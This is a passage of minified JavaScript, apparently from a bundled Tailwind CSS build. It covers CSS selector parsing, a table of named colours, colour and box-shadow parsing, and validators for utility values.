f=s.lossySpace(c.spaces.before,n),p=s.lossySpace(c.rawSpaceBefore,n);a+=f+s.lossySpace(c.spaces.after,n&&f.length===0),o+=f+c.value+s.lossySpace(c.rawSpaceAfter,n&&p.length===0)}),o===a&&(o=void 0);var u={space:a,rawSpace:o};return u},e.isNamedCombinator=function(i){return i===void 0&&(i=this.position),this.tokens[i+0]&&this.tokens[i+0][C.FIELDS.TYPE]===E.slash&&this.tokens[i+1]&&this.tokens[i+1][C.FIELDS.TYPE]===E.word&&this.tokens[i+2]&&this.tokens[i+2][C.FIELDS.TYPE]===E.slash},e.namedCombinator=function(){if(this.isNamedCombinator()){var i=this.content(this.tokens[this.position+1]),n=(0,Y.unesc)(i).toLowerCase(),s={};n!==i&&(s.value="/"+i+"/");var a=new _s.default({value:"/"+n+"/",source:ct(this.currToken[C.FIELDS.START_LINE],this.currToken[C.FIELDS.START_COL],this.tokens[this.position+2][C.FIELDS.END_LINE],this.tokens[this.position+2][C.FIELDS.END_COL]),sourceIndex:this.currToken[C.FIELDS.START_POS],raws:s});return this.position=this.position+3,a}else this.unexpected()},e.combinator=function(){var i=this;if(this.content()==="|")return this.namespace();var n=this.locateNextMeaningfulToken(this.position);if(n<0||this.tokens[n][C.FIELDS.TYPE]===E.comma){var s=this.parseWhitespaceEquivalentTokens(n);if(s.length>0){var a=this.current.last;if(a){var o=this.convertWhitespaceNodesToSpace(s),u=o.space,c=o.rawSpace;c!==void 0&&(a.rawSpaceAfter+=c),a.spaces.after+=u}else s.forEach(function(D){return i.newNode(D)})}return}var f=this.currToken,p=void 0;n>this.position&&(p=this.parseWhitespaceEquivalentTokens(n));var h;if(this.isNamedCombinator()?h=this.namedCombinator():this.currToken[C.FIELDS.TYPE]===E.combinator?(h=new _s.default({value:this.content(),source:vt(this.currToken),sourceIndex:this.currToken[C.FIELDS.START_POS]}),this.position++):Os[this.currToken[C.FIELDS.TYPE]]||p||this.unexpected(),h){if(p){var d=this.convertWhitespaceNodesToSpace(p),y=d.space,k=d.rawSpace;h.spaces.before=y,h.rawSpaceBefore=k}}else{var w=this.convertWhitespaceNodesToSpace(p,!0),b=w.space,x=w.rawSpace;x||(x=b);var S={},_={spaces:{}};b.endsWith(" ")&&x.endsWith(" ")?(S.before=b.slice(0,b.length-1),_.spaces.before=x.slice(0,x.length-1)):b.startsWith(" ")&&x.startsWith(" ")?(S.after=b.slice(1),_.spaces.after=x.slice(1)):_.value=x,h=new _s.default({value:" ",source:Es(f,this.tokens[this.position-1]),sourceIndex:f[C.FIELDS.START_POS],spaces:S,raws:_})}return this.currToken&&this.currToken[C.FIELDS.TYPE]===E.space&&(h.spaces.after=this.optionalSpace(this.content()),this.position++),this.newNode(h)},e.comma=function(){if(this.position===this.tokens.length-1){this.root.trailingComma=!0,this.position++;return}this.current._inferEndPosition();var i=new Ss.default({source:{start:Qu(this.tokens[this.position+1])}});this.current.parent.append(i),this.current=i,this.position++},e.comment=function(){var i=this.currToken;this.newNode(new Wu.default({value:this.content(),source:vt(i),sourceIndex:i[C.FIELDS.START_POS]})),this.position++},e.error=function(i,n){throw this.root.error(i,n)},e.missingBackslash=function(){return this.error("Expected a backslash preceding the semicolon.",{index:this.currToken[C.FIELDS.START_POS]})},e.missingParenthesis=function(){return this.expected("opening parenthesis",this.currToken[C.FIELDS.START_POS])},e.missingSquareBracket=function(){return this.expected("opening square bracket",this.currToken[C.FIELDS.START_POS])},e.unexpected=function(){return this.error("Unexpected '"+this.content()+"'. Escaping special characters with \\ may help.",this.currToken[C.FIELDS.START_POS])},e.namespace=function(){var i=this.prevToken&&this.content(this.prevToken)||!0;if(this.nextToken[C.FIELDS.TYPE]===E.word)return this.position++,this.word(i);if(this.nextToken[C.FIELDS.TYPE]===E.asterisk)return this.position++,this.universal(i)},e.nesting=function(){if(this.nextToken){var i=this.content(this.nextToken);if(i==="|"){this.position++;return}}var n=this.currToken;this.newNode(new Iv.default({value:this.content(),source:vt(n),sourceIndex:n[C.FIELDS.START_POS]})),this.position++},e.parentheses=function(){var i=this.current.last,n=1;if(this.position++,i&&i.type===Mv.PSEUDO){var s=new Ss.default({source:{start:Qu(this.tokens[this.position-1])}}),a=this.current;for(i.append(s),this.current=s;this.position<this.tokens.length&&n;)this.currToken[C.FIELDS.TYPE]===E.openParenthesis&&n++,this.currToken[C.FIELDS.TYPE]===E.closeParenthesis&&n--,n?this.parse():(this.current.source.end=Ju(this.currToken),this.current.parent.source.end=Ju(this.currToken),this.position++);this.current=a}else{for(var o=this.currToken,u="(",c;this.position<this.tokens.length&&n;)this.currToken[C.FIELDS.TYPE]===E.openParenthesis&&n++,this.currToken[C.FIELDS.TYPE]===E.closeParenthesis&&n--,c=this.currToken,u+=this.parseParenthesisToken(this.currToken),this.position++;i?i.appendToPropertyAndEscape("value",u,u):this.newNode(new Cs.default({value:u,source:ct(o[C.FIELDS.START_LINE],o[C.FIELDS.START_COL],c[C.FIELDS.END_LINE],c[C.FIELDS.END_COL]),sourceIndex:o[C.FIELDS.START_POS]}))}if(n)return this.expected("closing parenthesis",this.currToken[C.FIELDS.START_POS])},e.pseudo=function(){for(var i=this,n="",s=this.currToken;this.currToken&&this.currToken[C.FIELDS.TYPE]===E.colon;)n+=this.content(),this.position++;if(!this.currToken)return this.expected(["pseudo-class","pseudo-element"],this.position-1);if(this.currToken[C.FIELDS.TYPE]===E.word)this.splitWord(!1,function(a,o){n+=a,i.newNode(new Dv.default({value:n,source:Es(s,i.currToken),sourceIndex:s[C.FIELDS.START_POS]})),o>1&&i.nextToken&&i.nextToken[C.FIELDS.TYPE]===E.openParenthesis&&i.error("Misplaced parenthesis.",{index:i.nextToken[C.FIELDS.START_POS]})});else return this.expected(["pseudo-class","pseudo-element"],this.currToken[C.FIELDS.START_POS])},e.space=function(){var i=this.content();this.position===0||this.prevToken[C.FIELDS.TYPE]===E.comma||this.prevToken[C.FIELDS.TYPE]===E.openParenthesis||this.current.nodes.every(function(n){return n.type==="comment"})?(this.spaces=this.optionalSpace(i),this.position++):this.position===this.tokens.length-1||this.nextToken[C.FIELDS.TYPE]===E.comma||this.nextToken[C.FIELDS.TYPE]===E.closeParenthesis?(this.current.last.spaces.after=this.optionalSpace(i),this.position++):this.combinator()},e.string=function(){var i=this.currToken;this.newNode(new Cs.default({value:this.content(),source:vt(i),sourceIndex:i[C.FIELDS.START_POS]})),this.position++},e.universal=function(i){var n=this.nextToken;if(n&&this.content(n)==="|")return this.position++,this.namespace();var s=this.currToken;this.newNode(new qv.default({value:this.content(),source:vt(s),sourceIndex:s[C.FIELDS.START_POS]}),i),this.position++},e.splitWord=function(i,n){for(var s=this,a=this.nextToken,o=this.content();a&&~[E.dollar,E.caret,E.equals,E.word].indexOf(a[C.FIELDS.TYPE]);){this.position++;var u=this.content();if(o+=u,u.lastIndexOf("\\")===u.length-1){var c=this.nextToken;c&&c[C.FIELDS.TYPE]===E.space&&(o+=this.requiredSpace(this.content(c)),this.position++)}a=this.nextToken}var f=Ts(o,".").filter(function(y){var k=o[y-1]==="\\",w=/^\d+\.\d+%$/.test(o);return!k&&!w}),p=Ts(o,"#").filter(function(y){return o[y-1]!=="\\"}),h=Ts(o,"#{");h.length&&(p=p.filter(function(y){return!~h.indexOf(y)}));var d=(0,Rv.default)(Lv([0].concat(f,p)));d.forEach(function(y,k){var w=d[k+1]||o.length,b=o.slice(y,w);if(k===0&&n)return n.call(s,b,d.length);var x,S=s.currToken,_=S[C.FIELDS.START_POS]+d[k],D=ct(S[1],S[2]+y,S[3],S[2]+(w-1));if(~f.indexOf(y)){var M={value:b.slice(1),source:D,sourceIndex:_};x=new Ev.default(xt(M,"value"))}else if(~p.indexOf(y)){var B={value:b.slice(1),source:D,sourceIndex:_};x=new Tv.default(xt(B,"value"))}else{var q={value:b,source:D,sourceIndex:_};xt(q,"value"),x=new Pv.default(q)}s.newNode(x,i),i=null}),this.position++},e.word=function(i){var n=this.nextToken;return n&&this.content(n)==="|"?(this.position++,this.namespace()):this.splitWord(i)},e.loop=function(){for(;this.position<this.tokens.length;)this.parse(!0);return this.current._inferEndPosition(),this.root},e.parse=function(i){switch(this.currToken[C.FIELDS.TYPE]){case E.space:this.space();break;case E.comment:this.comment();break;case E.openParenthesis:this.parentheses();break;case E.closeParenthesis:i&&this.missingParenthesis();break;case E.openSquare:this.attribute();break;case E.dollar:case E.caret:case E.equals:case E.word:this.word();break;case E.colon:this.pseudo();break;case E.comma:this.comma();break;case E.asterisk:this.universal();break;case E.ampersand:this.nesting();break;case E.slash:case E.combinator:this.combinator();break;case E.str:this.string();break;case E.closeSquare:this.missingSquareBracket();case E.semicolon:this.missingBackslash();default:this.unexpected()}},e.expected=function(i,n,s){if(Array.isArray(i)){var a=i.pop();i=i.join(", ")+" or "+a}var o=/^[aeiou]/.test(i[0])?"an":"a";return s?this.error("Expected "+o+" "+i+', found "'+s+'" instead.',{index:n}):this.error("Expected "+o+" "+i+".",{index:n})},e.requiredSpace=function(i){return this.options.lossy?" ":i},e.optionalSpace=function(i){return this.options.lossy?"":i},e.lossySpace=function(i,n){return this.options.lossy?n?" ":"":i},e.parseParenthesisToken=function(i){var n=this.content(i);return i[C.FIELDS.TYPE]===E.space?this.requiredSpace(n):n},e.newNode=function(i,n){return n&&(/^ +$/.test(n)&&(this.options.lossy||(this.spaces=(this.spaces||"")+n),n=!0),i.namespace=n,xt(i,"namespace")),this.spaces&&(i.spaces.before=this.spaces,this.spaces=""),this.current.append(i)},e.content=function(i){return i===void 0&&(i=this.currToken),this.css.slice(i[C.FIELDS.START_POS],i[C.FIELDS.END_POS])},e.locateNextMeaningfulToken=function(i){i===void 0&&(i=this.position+1);for(var n=i;n<this.tokens.length;)if(Nv[this.tokens[n][C.FIELDS.TYPE]]){n++;continue}else return n;return-1},Fv(r,[{key:"currToken",get:function(){return this.tokens[this.position]}},{key:"nextToken",get:function(){return this.tokens[this.position+1]}},{key:"prevToken",get:function(){return this.tokens[this.position-1]}}]),r}();vr.default=Bv;Xu.exports=vr.default});var ef=v((xr,Zu)=>{l();"use strict";xr.__esModule=!0;xr.default=void 0;var $v=zv(Ku());function zv(r){return r&&r.__esModule?r:{default:r}}var jv=function(){function r(t,i){this.func=t||function(){},this.funcRes=null,this.options=i}var e=r.prototype;return e._shouldUpdateSelector=function(i,n){n===void 0&&(n={});var s=Object.assign({},this.options,n);return s.updateSelector===!1?!1:typeof i!="string"},e._isLossy=function(i){i===void 0&&(i={});var n=Object.assign({},this.options,i);return n.lossless===!1},e._root=function(i,n){n===void 0&&(n={});var s=new $v.default(i,this._parseOptions(n));return s.root},e._parseOptions=function(i){return{lossy:this._isLossy(i)}},e._run=function(i,n){var s=this;return n===void 0&&(n={}),new Promise(function(a,o){try{var u=s._root(i,n);Promise.resolve(s.func(u)).then(function(c){var f=void 0;return s._shouldUpdateSelector(i,n)&&(f=u.toString(),i.selector=f),{transform:c,root:u,string:f}}).then(a,o)}catch(c){o(c);return}})},e._runSync=function(i,n){n===void 0&&(n={});var s=this._root(i,n),a=this.func(s);if(a&&typeof a.then=="function")throw new Error("Selector processor returned a promise to a synchronous call.");var o=void 0;return n.updateSelector&&typeof i!="string"&&(o=s.toString(),i.selector=o),{transform:a,root:s,string:o}},e.ast=function(i,n){return this._run(i,n).then(function(s){return s.root})},e.astSync=function(i,n){return this._runSync(i,n).root},e.transform=function(i,n){return this._run(i,n).then(function(s){return s.transform})},e.transformSync=function(i,n){return this._runSync(i,n).transform},e.process=function(i,n){return this._run(i,n).then(function(s){return s.string||s.root.toString()})},e.processSync=function(i,n){var s=this._runSync(i,n);return s.string||s.root.toString()},r}();xr.default=jv;Zu.exports=xr.default});var tf=v(W=>{l();"use strict";W.__esModule=!0;W.universal=W.tag=W.string=W.selector=W.root=W.pseudo=W.nesting=W.id=W.comment=W.combinator=W.className=W.attribute=void 0;var Vv=ye(hs()),Uv=ye(Xn()),Wv=ye(ws()),Gv=ye(Zn()),Hv=ye(ts()),Yv=ye(vs()),Qv=ye(ls()),Jv=ye(Gn()),Xv=ye(Yn()),Kv=ye(as()),Zv=ye(ns()),ex=ye(gs());function ye(r){return r&&r.__esModule?r:{default:r}}var tx=function(e){return new Vv.default(e)};W.attribute=tx;var rx=function(e){return new Uv.default(e)};W.className=rx;var ix=function(e){return new Wv.default(e)};W.combinator=ix;var nx=function(e){return new Gv.default(e)};W.comment=nx;var sx=function(e){return new Hv.default(e)};W.id=sx;var ax=function(e){return new Yv.default(e)};W.nesting=ax;var ox=function(e){return new Qv.default(e)};W.pseudo=ox;var lx=function(e){return new Jv.default(e)};W.root=lx;var ux=function(e){return new Xv.default(e)};W.selector=ux;var fx=function(e){return new Kv.default(e)};W.string=fx;var cx=function(e){return new Zv.default(e)};W.tag=cx;var px=function(e){return new ex.default(e)};W.universal=px});var af=v(L=>{l();"use strict";L.__esModule=!0;L.isNode=Ps;L.isPseudoElement=sf;L.isPseudoClass=Sx;L.isContainer=Cx;L.isNamespace=_x;L.isUniversal=L.isTag=L.isString=L.isSelector=L.isRoot=L.isPseudo=L.isNesting=L.isIdentifier=L.isComment=L.isCombinator=L.isClassName=L.isAttribute=void 0;var Q=te(),oe,dx=(oe={},oe[Q.ATTRIBUTE]=!0,oe[Q.CLASS]=!0,oe[Q.COMBINATOR]=!0,oe[Q.COMMENT]=!0,oe[Q.ID]=!0,oe[Q.NESTING]=!0,oe[Q.PSEUDO]=!0,oe[Q.ROOT]=!0,oe[Q.SELECTOR]=!0,oe[Q.STRING]=!0,oe[Q.TAG]=!0,oe[Q.UNIVERSAL]=!0,oe);function Ps(r){return typeof r=="object"&&dx[r.type]}function we(r,e){return Ps(e)&&e.type===r}var rf=we.bind(null,Q.ATTRIBUTE);L.isAttribute=rf;var hx=we.bind(null,Q.CLASS);L.isClassName=hx;var mx=we.bind(null,Q.COMBINATOR);L.isCombinator=mx;var gx=we.bind(null,Q.COMMENT);L.isComment=gx;var yx=we.bind(null,Q.ID);L.isIdentifier=yx;var wx=we.bind(null,Q.NESTING);L.isNesting=wx;var Ds=we.bind(null,Q.PSEUDO);L.isPseudo=Ds;var bx=we.bind(null,Q.ROOT);L.isRoot=bx;var vx=we.bind(null,Q.SELECTOR);L.isSelector=vx;var xx=we.bind(null,Q.STRING);L.isString=xx;var nf=we.bind(null,Q.TAG);L.isTag=nf;var kx=we.bind(null,Q.UNIVERSAL);L.isUniversal=kx;function sf(r){return Ds(r)&&r.value&&(r.value.startsWith("::")||r.value.toLowerCase()===":before"||r.value.toLowerCase()===":after"||r.value.toLowerCase()===":first-letter"||r.value.toLowerCase()===":first-line")}function Sx(r){return Ds(r)&&!sf(r)}function Cx(r){return!!(Ps(r)&&r.walk)}function _x(r){return rf(r)||nf(r)}});var of=v(Oe=>{l();"use strict";Oe.__esModule=!0;var qs=te();Object.keys(qs).forEach(function(r){r==="default"||r==="__esModule"||r in Oe&&Oe[r]===qs[r]||(Oe[r]=qs[r])});var Is=tf();Object.keys(Is).forEach(function(r){r==="default"||r==="__esModule"||r in Oe&&Oe[r]===Is[r]||(Oe[r]=Is[r])});var Rs=af();Object.keys(Rs).forEach(function(r){r==="default"||r==="__esModule"||r in Oe&&Oe[r]===Rs[r]||(Oe[r]=Rs[r])})});var De=v((kr,uf)=>{l();"use strict";kr.__esModule=!0;kr.default=void 0;var Ax=Tx(ef()),Ox=Ex(of());function lf(){if(typeof WeakMap!="function")return null;var r=new WeakMap;return lf=function(){return r},r}function Ex(r){if(r&&r.__esModule)return r;if(r===null||typeof r!="object"&&typeof r!="function")return{default:r};var e=lf();if(e&&e.has(r))return e.get(r);var t={},i=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var n in r)if(Object.prototype.hasOwnProperty.call(r,n)){var s=i?Object.getOwnPropertyDescriptor(r,n):null;s&&(s.get||s.set)?Object.defineProperty(t,n,s):t[n]=r[n]}return t.default=r,e&&e.set(r,t),t}function Tx(r){return r&&r.__esModule?r:{default:r}}var Ms=function(e){return new Ax.default(e)};Object.assign(Ms,Ox);delete Ms.__esModule;var Px=Ms;kr.default=Px;uf.exports=kr.default});function pt(r){return r.replace(/\\,/g,"\\2c ")}var Si=A(()=>{l()});var cf=v((rE,ff)=>{l();"use strict";ff.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}});function Sr(r,{loose:e=!1}={}){if(typeof r!="string")return null;if(r=r.trim(),r==="transparent")return{mode:"rgb",color:["0","0","0"],alpha:"0"};if(r in Fs.default)return{mode:"rgb",color:Fs.default[r].map(s=>s.toString())};let t=r.replace(qx,(s,a,o,u,c)=>["#",a,a,o,o,u,u,c?c+c:""].join("")).match(Dx);if(t!==null)return{mode:"rgb",color:[parseInt(t[1],16),parseInt(t[2],16),parseInt(t[3],16)].map(s=>s.toString()),alpha:t[4]?(parseInt(t[4],16)/255).toString():void 0};let i=r.match(Ix)??r.match(Rx);if(i===null)return null;let n=[i[2],i[3],i[4]].filter(Boolean).map(s=>s.toString());return!e&&n.length!==3||n.length<3&&!n.some(s=>/^var\(.*?\)$/.test(s))?null:{mode:i[1],color:n,alpha:i[5]?.toString?.()}}function Ns({mode:r,color:e,alpha:t}){let i=t!==void 0;return`${r}(${e.join(" ")}${i?` / ${t}`:""})`}var Fs,Dx,qx,Qe,Ci,pf,Je,Ix,Rx,Ls=A(()=>{l();Fs=J(cf()),Dx=/^#([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})?$/i,qx=/^#([a-f\d])([a-f\d])([a-f\d])([a-f\d])?$/i,Qe=/(?:\d+|\d*\.\d+)%?/,Ci=/(?:\s*,\s*|\s+)/,pf=/\s*[,/]\s*/,Je=/var\(--(?:[^ )]*?)\)/,Ix=new RegExp(`^(rgb)a?\\(\\s*(${Qe.source}|${Je.source})(?:${Ci.source}(${Qe.source}|${Je.source}))?(?:${Ci.source}(${Qe.source}|${Je.source}))?(?:${pf.source}(${Qe.source}|${Je.source}))?\\s*\\)$`),Rx=new RegExp(`^(hsl)a?\\(\\s*((?:${Qe.source})(?:deg|rad|grad|turn)?|${Je.source})(?:${Ci.source}(${Qe.source}|${Je.source}))?(?:${Ci.source}(${Qe.source}|${Je.source}))?(?:${pf.source}(${Qe.source}|${Je.source}))?\\s*\\)$`)});function qe(r,e,t){if(typeof r=="function")return r({opacityValue:e});let i=Sr(r,{loose:!0});return i===null?t:Ns({...i,alpha:e})}function le({color:r,property:e,variable:t}){let i=[].concat(e);if(typeof r=="function")return{[t]:"1",...Object.fromEntries(i.map(s=>[s,r({opacityVariable:t,opacityValue:`var(${t})`})]))};let n=Sr(r);return n===null?Object.fromEntries(i.map(s=>[s,r])):n.alpha!==void 0?Object.fromEntries(i.map(s=>[s,r])):{[t]:"1",...Object.fromEntries(i.map(s=>[s,Ns({...n,alpha:`var(${t})`})]))}}var Cr=A(()=>{l();Ls()});function de(r,e){let t=[],i=[],n=0;for(let s=0;s<r.length;s++){let a=r[s];t.length===0&&a===e[0]&&(e.length===1||r.slice(s,s+e.length)===e)&&(i.push(r.slice(n,s)),n=s+e.length),a==="("||a==="["||a==="{"?t.push(a):(a===")"&&t[t.length-1]==="("||a==="]"&&t[t.length-1]==="["||a==="}"&&t[t.length-1]==="{")&&t.pop()}return i.push(r.slice(n)),i}var _r=A(()=>{l()});function _i(r){return de(r,",").map(t=>{let i=t.trim(),n={raw:i},s=i.split(Fx),a=new Set;for(let o of s)df.lastIndex=0,!a.has("KEYWORD")&&Mx.has(o)?(n.keyword=o,a.add("KEYWORD")):df.test(o)?a.has("X")?a.has("Y")?a.has("BLUR")?a.has("SPREAD")||(n.spread=o,a.add("SPREAD")):(n.blur=o,a.add("BLUR")):(n.y=o,a.add("Y")):(n.x=o,a.add("X")):n.color?(n.unknown||(n.unknown=[]),n.unknown.push(o)):n.color=o;return n.valid=n.x!==void 0&&n.y!==void 0,n})}function hf(r){return r.map(e=>e.valid?[e.keyword,e.x,e.y,e.blur,e.spread,e.color].filter(Boolean).join(" "):e.raw).join(", ")}var Mx,Fx,df,Bs=A(()=>{l();_r();Mx=new Set(["inset","inherit","initial","revert","unset"]),Fx=/\ +(?![^(]*\))/g,df=/^-?(\d+|\.\d+)(.*?)$/g});function $s(r){return Nx.some(e=>new RegExp(`^${e}\\(.*\\)`).test(r))}function H(r,e=!0){return r.includes("url(")?r.split(/(url\(.*?\))/g).filter(Boolean).map(t=>/^url\(.*?\)$/.test(t)?t:H(t,!1)).join(""):(r=r.replace(/([^\\])_+/g,(t,i)=>i+" ".repeat(t.length-1)).replace(/^_/g," ").replace(/\\_/g,"_"),e&&(r=r.trim()),r=r.replace(/(calc|min|max|clamp)\(.+\)/g,t=>t.replace(/(-?\d*\.?\d(?!\b-.+[,)](?![^+\-/*])\D)(?:%|[a-z]+)?|\))([+\-/*])/g,"$1 $2 ")),r)}function zs(r){return r.startsWith("url(")}function js(r){return!isNaN(Number(r))||$s(r)}function Ar(r){return r.endsWith("%")&&js(r.slice(0,-1))||$s(r)}function Or(r){return r==="0"||new RegExp(`^[+-]?[0-9]*.?[0-9]+(?:[eE][+-]?[0-9]+)?${Bx}$`).test(r)||$s(r)}function mf(r){return $x.has(r)}function gf(r){let e=_i(H(r));for(let t of e)if(!t.valid)return!1;return!0}function yf(r){let e=0;return de(r,"_").every(i=>(i=H(i),i.startsWith("var(")?!0:Sr(i,{loose:!0})!==null?(e++,!0):!1))?e>0:!1}function wf(r){let e=0;return de(r,",").every(i=>(i=H(i),i.startsWith("var(")?!0:zs(i)||jx(i)||["element(","image(","cross-fade(","image-set("].some(n=>i.startsWith(n))?(e++,!0):!1))?e>0:!1}function jx(r){r=H(r);for(let e of zx)if(r.startsWith(`${e}(`))return!0;return!1}function bf(r){let e=0;return de(r,"_").every(i=>(i=H(i),i.startsWith("var(")?!0:Vx.has(i)||Or(i)||Ar(i)?(e++,!0):!1))?e>0:!1}function vf(r){let e=0;return de(r,",").every(i=>(i=H(i),i.startsWith("var(")?!0:i.includes(" ")&&!/(['"])([^"']+)\1/g.test(i)||/^\d/g.test(i)?!1:(e++,!0)))?e>0:!1}function xf(r){return Ux.has(r)}function kf(r){return Wx.has(r)}function Sf(r){return Gx.has(r)}var Nx,Lx,Bx,$x,zx,Vx,Ux,Wx,Gx,Er=A(()=>{l();Ls();Bs();_r();Nx=["min","max","clamp","calc"];Lx=["cm","mm","Q","in","pc","pt","px","em","ex","ch","rem","lh","vw","vh","vmin","vmax"],Bx=`(?:${Lx.join("|")})`;$x=new Set(["thin","medium","thick"]);zx=new Set(["linear-gradient","radial-gradient","repeating-linear-gradient","repeating-radial-gradient","conic-gradient"]);Vx=new Set(["center","top","right","bottom","left"]);Ux=new Set(["serif","sans-serif","monospace","cursive","fantasy","system-ui","ui-serif","ui-sans-serif","ui-monospace","ui-rounded","math","emoji","fangsong"]);Wx=new Set(["xx-small","x-small","small","medium","large","x-large","x-large","xxx-large"]);Gx=new Set(["larger","smaller"])});function Cf(r){let e=["cover","contain"];return de(r,",").every(t=>{let i=de(t,"_").filter(Boolean);return i.length===1&&e.includes(i[0])?!0:i.length!==1&&i.length!==2?!1:i.every(n=>Or(n)||Ar(n)||n==="auto")})}var _f=A(()=>{l();Er();_r()});function K(r,e){return Ai.future.includes(e)?r.future==="all"||(r?.future?.[e]??Af[e]??!1):Ai.experimental.includes(e)?r.experimental==="all"||(r?.experimental?.[e]??Af[e]??!1):!1}function Of(r){return r.experimental==="all"?Ai.experimental:Object.keys(r?.experimental??{}).filter(e=>Ai.experimental.includes(e)&&r.experimental[e])}function Ef(r){if(m.env.JEST_WORKER_ID===void 0&&Of(r).length>0){let e=Of(r).map(t=>_e.yellow(t)).join(", ");N.warn("experimental-flags-enabled",[`You have enabled experimental features: ${e}`,"Experimental features in Tailwind CSS are not covered by semver, may introduce breaking changes, and can change at any time."])}}var Af,Ai,$e=A(()=>{l();oi();Ae();Af={optimizeUniversalDefaults:!1,generalizedModifiers:!0},Ai={future:["hoverOnlyWhenSupported","respectDefaultRingColorOpacity","disableColorOpacityUtilitiesByDefault","relativeContentPathsByDefault"],experimental:["optimizeUniversalDefaults","generalizedModifiers"]}});function Tf(r,e){return(0,Vs.default)(n=>{n.walkClasses(s=>{let a=e(s.value);s.value=a,s.raws&&s.raws.value&&(s.raws.value=pt(s.raws.value))})}).processSync(r)}function Pf(r,e){return(0,Vs.default)(n=>{n.each(s=>{s.nodes.some(o=>o.type==="class"&&o.value===e)||s.remove()})}).processSync(r)}function Df(r,e){if(!Xe(r))return;let t=r.slice(1,-1);if(!!e(t))return H(t)}function Hx(r,e={},t){let i=e[r];if(i!==void 0)return ut(i);if(Xe(r)){let n=Df(r,t);return n===void 0?void 0:ut(n)}}function Tr(r,e={},{validate:t=()=>!0}={}){let i=e.values?.[r];return i!==void 0?i:e.supportsNegativeValues&&r.startsWith("-")?Hx(r.slice(1),e.values,t):Df(r,t)}function Xe(r){return r.startsWith("[")&&r.endsWith("]")}function qf(r){let e=r.lastIndexOf("/");return e===-1||e===r.length-1?[r,void 0]:Xe(r)&&!r.includes("]/[")?[r,void 0]:[r.slice(0,e),r.slice(e+1)]}function kt(r){if(typeof r=="string"&&r.includes("<alpha-value>")){let e=r;return({opacityValue:t=1})=>e.replace("<alpha-value>",t)}return r}function Yx(r,e={},{tailwindConfig:t={},utilityModifier:i,rawModifier:n}={}){if(e.values?.[n]!==void 0)return kt(e.values?.[n]);let[s,a]=qf(n);if(a!==void 0){let o=e.values?.[s]??(Xe(s)?s.slice(1,-1):void 0);return o===void 0?void 0:(o=kt(o),Xe(a)?qe(o,a.slice(1,-1)):t.theme?.opacity?.[a]===void 0?void 0:qe(o,t.theme.opacity[a]))}return Tr(n,e,{rawModifier:n,utilityModifier:i,validate:yf})}function Qx(r,e={}){return e.values?.[r]}function he(r){return(e,t,i)=>Tr(e,t,{...i,validate:r})}function Jx(r,e){let t=r.indexOf(e);return t===-1?[void 0,r]:[r.slice(0,t),r.slice(t+1)]}function Us(r,e,t,i){if(Xe(e)){let s=e.slice(1,-1),[a,o]=Jx(s,":");if(!/^[\w-_]+$/g.test(a))o=s;else if(a!==void 